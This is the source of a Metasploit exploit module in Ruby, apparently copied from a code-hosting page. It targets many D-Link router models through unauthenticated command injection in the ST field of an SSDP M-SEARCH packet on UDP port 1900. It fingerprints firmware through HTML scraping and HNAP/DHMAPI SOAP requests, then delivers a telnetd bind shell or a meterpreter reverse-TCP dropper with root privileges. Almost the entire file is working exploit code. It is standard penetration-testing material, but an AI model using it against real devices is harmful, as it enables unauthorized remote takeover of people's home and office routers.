Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager10include Msf::Exploit::Remote::Udp11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'D-Link Unauthenticated Remote Command Execution using UPnP via a special crafted M-SEARCH packet.',18'Description' => %q{19A command injection vulnerability exists in multiple D-Link network products, allowing an attacker20to inject arbitrary command to the UPnP via a crafted M-SEARCH packet.21Universal Plug and Play (UPnP), by default is enabled in most D-Link devices, on the port 1900.22An attacker can perform a remote command execution by injecting the payload into the23`Search Target` (ST) field of the SSDP M-SEARCH discover packet.24After successful exploitation, an attacker will have full access with `root` user privileges.2526NOTE: Staged meterpreter payloads might core dump on the target, so use stage-less meterpreter payloads27when using the Linux Dropper target. Some D-Link devices do not have the `wget` command so28configure `echo` as flavor with the command set CMDSTAGER::FLAVOR echo.2930The following D-Link network products and firmware are vulnerable:31- D-Link Router model GO-RT-AC750 revisions Ax with firmware v1.01 or older;32- D-Link Router model DIR-300 revisions Ax with firmware v1.06 or older;33- D-Link Router model DIR-300 revisions Bx with firmware v2.15 or older;34- D-Link Router model DIR-600 revisions Bx with firmware v2.18 or older;35- D-Link Router model DIR-645 revisions Ax with firmware v1.05 or older;36- D-Link Router model DIR-815 revisions Bx with firmware v1.04 or older;37- D-Link Router model DIR-816L revisions Bx with firmware v2.06 or older;38- D-Link Router model DIR-817LW revisions Ax with firmware v1.04b01_hotfix or older;39- D-Link Router model DIR-818LW revisions Bx with firmware v2.05b03_Beta08 or older;40- D-Link Router model DIR-822 revisions Bx with firmware v2.03b01 or older;41- D-Link Router model DIR-822 revisions Cx with firmware v3.12b04 or older;42- D-Link Router model DIR-823 revisions Ax with firmware v1.00b06_Beta or older;43- D-Link Router model DIR-845L revisions Ax with firmware v1.02b05 or older;44- D-Link Router model DIR-860L revisions Ax with firmware v1.12b05 or older;45- D-Link Router model DIR-859 revisions Ax with firmware v1.06b01Beta01 or older;46- D-Link Router model DIR-860L revisions Ax with firmware v1.10b04 or older;47- D-Link Router model DIR-860L revisions Bx with firmware v2.03b03 or older;48- D-Link Router model DIR-865L revisions Ax with firmware v1.07b01 or older;49- D-Link Router model DIR-868L revisions Ax with firmware v1.12b04 or older;50- D-Link Router model DIR-868L revisions Bx with firmware v2.05b02 or older;51- D-Link Router model DIR-869 revisions Ax with firmware v1.03b02Beta02 or older;52- D-Link Router model DIR-880L revisions Ax with firmware v1.08b04 or older;53- D-Link Router model DIR-890L/R revisions Ax with firmware v1.11b01_Beta01 or older;54- D-Link Router model DIR-885L/R revisions Ax with firmware v1.12b05 or older;55- D-Link Router model DIR-895L/R revisions Ax with firmware v1.12b10 or older;56- probably more looking at the scale of impacted devices :-(57},58'License' => MSF_LICENSE,59'Author' => [60'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor61'Zach Cutlip', # Discovery of the vulnerability62'Michael Messner <[email protected]>',63'Miguel Mendez Z. (s1kr10s)',64'Pablo Pollanco (secenv)',65'Naihsin https://github.com/naihsin'6667],68'References' => [69['CVE', '2023-33625'],70['CVE', '2020-15893'],71['CVE', '2019-20215'],72['URL', 'https://attackerkb.com/topics/uqicA23ecz/cve-2023-33625'],73['URL', 'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection'],74['URL', 'https://medium.com/@s1kr10s/d-link-dir-859-unauthenticated-rce-in-ssdpcgi-http-st-cve-2019-20215-en-2e799acb8a73'],75['URL', 'https://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html'],76['URL', 'https://research.loginsoft.com/vulnerability/multiple-vulnerabilities-discovered-in-the-d-link-firmware-dir-816l/'],77['URL', 'https://github.com/naihsin/IoT/blob/main/D-Link/DIR-600/cmd%20injection/README.md']78],79'DisclosureDate' => '2013-02-01',80'Platform' => ['unix', 'linux'],81'Arch' => [ARCH_CMD, ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE],82'Privileged' => true,83'Targets' => [84[85'Unix Command',86{87'Platform' => 'unix',88'Arch' => ARCH_CMD,89'Type' => :unix_cmd,90'DefaultOptions' => {91'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd'92}93}94],95[96'Linux Dropper',97{98'Platform' => 'linux',99'Arch' => [ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE],100'Type' => :linux_dropper,101'CmdStagerFlavor' => ['echo', 'wget'],102'Linemax' => 900,103'DefaultOptions' => {104'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp'105}106}107]108],109'DefaultTarget' => 0,110'DefaultOptions' => {111'RPORT' => 1900,112'SSL' => false113},114'Notes' => {115'Stability' => [CRASH_SAFE],116'Reliability' => [REPEATABLE_SESSION],117'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]118}119)120)121register_options([122OptString.new('URN', [true, 'Set URN payload', 'urn:device:1']),123OptPort.new('HTTP_PORT', [true, 'The HTTP port for the HTTP and SOAP requests sent to detect versions', 80])124])125end126127def vuln_version?(res)128# checks the model, firmware and hardware version129@d_link = { 'product' => nil, 'firmware' => nil, 'hardware' => nil, 'arch' => nil }130html = Nokogiri.HTML(res.body, nil, 'UTF-8')131132# USE CASE #1: D-link devices with static HTML pages with model and version information133# class identifiers: <span class="product">, <span class="version"> and <span class="hwversion">134# See USE CASE #4 for D-link devices that use javascript to dynamically generate the model and firmware version135product = html.css('span[@class="product"]')136@d_link['product'] = product[0].text.split(':')[1].strip unless product[0].nil?137firmware = html.css('span[@class="version"]')138@d_link['firmware'] = firmware[0].text.split(':')[1].strip.delete(' ') unless firmware[0].nil?139140# DIR-600, DIR-300 hardware B revision and maybe other models are using the "version" class tag for both firmware and hardware version141@d_link['hardware'] = firmware[1].text.split(':')[1].strip unless firmware[1].nil?142# otherwise search for the "hwversion" class tag143hardware = html.css('span[@class="hwversion"]')144@d_link['hardware'] = hardware[0].text.split(':')[1].strip unless hardware[0].nil?145146# USE CASE #2: D-link devices with static HTML pages with model and version information147# class identifiers: <div class="pp">, <div class="fwv"> and <div class="hwv">148if @d_link['product'].nil?149product = html.css('div[@class="pp"]')150@d_link['product'] = product[0].text.split(':')[1].strip unless product[0].nil?151firmware = html.css('div[@class="fwv"]')152@d_link['firmware'] = firmware[0].text.split(':')[1].strip.delete(' ') unless firmware[0].nil?153hardware = html.css('div[@class="hwv"]')154@d_link['hardware'] = hardware[0].text.split(':')[1].strip unless hardware[0].nil?155end156157# USE CASE #3: D-link devices with html below for model, firmware and hardware version158# <td>Product Page : <a href='http://support.dlink.com.tw' target=_blank><font class=l_tb>DIR-300</font></a> </td>159# <td noWrap align="right">Hardware Version : rev N/A </td>160# <td noWrap align="right">Firmware Version : 1.06 </td>161if @d_link['product'].nil?162hwinfo_table = html.css('td')163hwinfo_table.each do |hwinfo|164@d_link['product'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Product Page/i || hwinfo.text =~ /Product/i165@d_link['hardware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Hardware Version/i166@d_link['firmware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Firmware Version/i167end168end169170# USE CASE #4: D-Link devices with HTML listed below that contains the model, firmware and hardware version171# <table id="header_container" border="0" cellpadding="5" cellspacing="0" width="838" align="center">172# <tr>173# <td width="100%"> <script>show_words(TA2)</script>: <a href="http://support.dlink.com.tw/">DIR-835</a></td>174# <td align="right" nowrap><script>show_words(TA3)</script>: A1 </td>175# <td align="right" nowrap><script>show_words(sd_FWV)</script>: 1.04</td>176# <td> </td>177# </tr>178# </table>179if @d_link['product'].nil?180hwinfo_table = html.css('table#header_container td')181hwinfo_table.each do |hwinfo|182@d_link['product'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(TA2\)/i183@d_link['hardware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(TA3\)/i184@d_link['firmware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(sd_FWV\)/i185end186end187188# USE CASE #5: D-Link devices with dynamically generated version and hardware information189# Create HNAP POST request to get these hardware details190if @d_link['product'].nil?191xml_soap_data = <<~EOS192<?xml version="1.0" encoding="utf-8"?>193<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">194<soap:Body>195<GetDeviceSettings xmlns="http://purenetworks.com/HNAP1/" />196</soap:Body>197</soap:Envelope>198EOS199res = send_request_cgi({200'rport' => datastore['HTTP_PORT'],201'method' => 'POST',202'ctype' => 'text/xml',203'uri' => normalize_uri(target_uri.path, 'HNAP1', '/'),204'data' => xml_soap_data.to_s,205'headers' => {206'SOAPACTION' => '"http://purenetworks.com/HNAP1/GetDeviceSettings"'207}208})209if res && res.code == 200 && res.body.include?('<GetDeviceSettingsResult>OK</GetDeviceSettingsResult>')210xml = res.get_xml_document211unless xml.blank?212xml.remove_namespaces!213@d_link['product'] = xml.css('ModelName').text214@d_link['firmware'] = xml.css('FirmwareVersion').text.delete(' ')215@d_link['hardware'] = xml.css('HardwareVersion').text216end217end218end219220# USE CASE #6: D-Link devices with dynamically generated version and hardware information221# Create a DHMAPI POST request to get these hardware details222if @d_link['product'].nil?223xml_soap_data = <<~EOS224<?xml version="1.0" encoding="utf-8"?>225<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">226<soap:Body>227<GetDeviceSettings/>228</soap:Body>229</soap:Envelope>230EOS231res = send_request_cgi({232'rport' => datastore['HTTP_PORT'],233'method' => 'POST',234'ctype' => 'text/xml',235'uri' => normalize_uri(target_uri.path, 'DHMAPI', '/'),236'data' => xml_soap_data.to_s,237'headers' => {238'API-ACTION' => 'GetDeviceSettings'239}240})241if res && res.code == 200 && res.body.include?('<GetDeviceSettingsResult>OK</GetDeviceSettingsResult>')242xml = res.get_xml_document243unless xml.blank?244xml.remove_namespaces!245@d_link['product'] = xml.css('ModelName').text246@d_link['firmware'] = xml.css('FirmwareVersion').text.delete(' ')247@d_link['hardware'] = xml.css('HardwareVersion').text248end249end250end251252# check the vulnerable product and firmware versions253case @d_link['product']254when 'GO-RT-AC750'255@d_link['arch'] = 'mipsbe'256return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.01') && @d_link['hardware'][0] == 'A'257when 'DIR-300'258if Rex::Version.new(@d_link['firmware']) >= Rex::Version.new('2.00') && Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.15') # hardware version B259@d_link['arch'] = 'mipsle'260return true261elsif Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.06') # hardware version A262@d_link['arch'] = 'mipsbe'263return true264end265when 'DIR-600'266@d_link['arch'] = 'mipsle'267return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.18') && @d_link['hardware'][0] == 'B'268when 'DIR-645'269@d_link['arch'] = 'mipsle'270return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.05') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A')271when 'DIR-815'272@d_link['arch'] = 'mipsle'273return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.04')274when 'DIR-816L'275@d_link['arch'] = 'mipsbe'276return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.06') && (@d_link['hardware'][0] == 'B' || @d_link['hardware'] == 'N/A')277when 'DIR-817LW'278@d_link['arch'] = 'mipsbe'279return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.04') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A')280when 'DIR-818LW', 'DIR-818L'281@d_link['arch'] = 'mipsbe'282return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.04') && @d_link['hardware'][0] == 'B'283284return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.05') && @d_link['hardware'][0] == 'A'285when 'DIR-822'286@d_link['arch'] = 'mipsbe'287return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.03') && @d_link['hardware'][0] == 'B'288289return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('3.12') && @d_link['hardware'][0] == 'C'290when 'DIR-823'291@d_link['arch'] = 'mipsbe'292return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.00') && @d_link['hardware'][0] == 'A'293when 'DIR-845L'294@d_link['arch'] = 'mipsle'295return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.02') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A')296when 'DIR-850L'297@d_link['arch'] = 'mipsbe'298return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A')299when 'DIR-859'300@d_link['arch'] = 'mipsbe'301return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.06') && @d_link['hardware'][0] == 'A'302when 'DIR-860L'303@d_link['arch'] = 'armle'304return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.10') && @d_link['hardware'][0] == 'A'305306return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.03') && @d_link['hardware'][0] == 'B'307when 'DIR-865L'308@d_link['arch'] = 'mipsle'309return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.07') && @d_link['hardware'][0] == 'A'310when 'DIR-868L'311@d_link['arch'] = 'armle'312return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A'313314return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.05') && @d_link['hardware'][0] == 'B'315when 'DIR-869'316@d_link['arch'] = 'mipsbe'317return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.03') && @d_link['hardware'][0] == 'A'318when 'DIR-880L'319@d_link['arch'] = 'armle'320return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.08') && @d_link['hardware'][0] == 'A'321when 'DIR-890L', 'DIR-890R'322@d_link['arch'] = 'armle'323return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.11') && @d_link['hardware'][0] == 'A'324when 'DIR-885L', 'DIR-885R'325@d_link['arch'] = 'armle'326return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A'327when 'DIR-895L', 'DIR-895R'328@d_link['arch'] = 'armle'329return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A'330end331false332end333334def execute_command(cmd, _opts = {})335payload = "#{datastore['URN']};`#{cmd}`"336337connect_udp338header = "M-SEARCH * HTTP/1.1\r\n"339header << 'HOST:' + datastore['RHOST'].to_s + ':' + datastore['RPORT'].to_s + "\r\n"340header << "ST:#{payload}\r\n"341header << "MX:2\r\n"342header << "MAN:\"ssdp:discover\"\r\n\r\n"343udp_sock.put(header)344disconnect_udp345end346347def check348print_status("Checking if #{peer} can be exploited.")349res = send_request_cgi!({350'rport' => datastore['HTTP_PORT'],351'method' => 'GET',352'ctype' => 'application/x-www-form-urlencoded',353'uri' => normalize_uri(target_uri.path)354})355# Check if target is a D-Link network device356return CheckCode::Unknown('No response received from target.') unless res357return CheckCode::Safe('Likely not a D-Link network device.') unless res.code == 200 && res.body =~ /d-?link/i358359# check if firmware version is vulnerable360return CheckCode::Appears("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") if vuln_version?(res)361# D-link devices with fixed firmware versions362return CheckCode::Safe("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") unless @d_link['arch'].nil?363# D-link devices that still could be vulnerable with product information364return CheckCode::Detected("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") unless @d_link['product'].nil?365366# D-link devices that still could be vulnerable but no product information available367return CheckCode::Detected368end369370def exploit371print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")372case target['Type']373when :unix_cmd374execute_command(payload.encoded)375when :linux_dropper376# Don't check the response here since the server won't respond377# if the payload is successfully executed.378execute_cmdstager({ linemax: target.opts['Linemax'] })379end380end381end382383384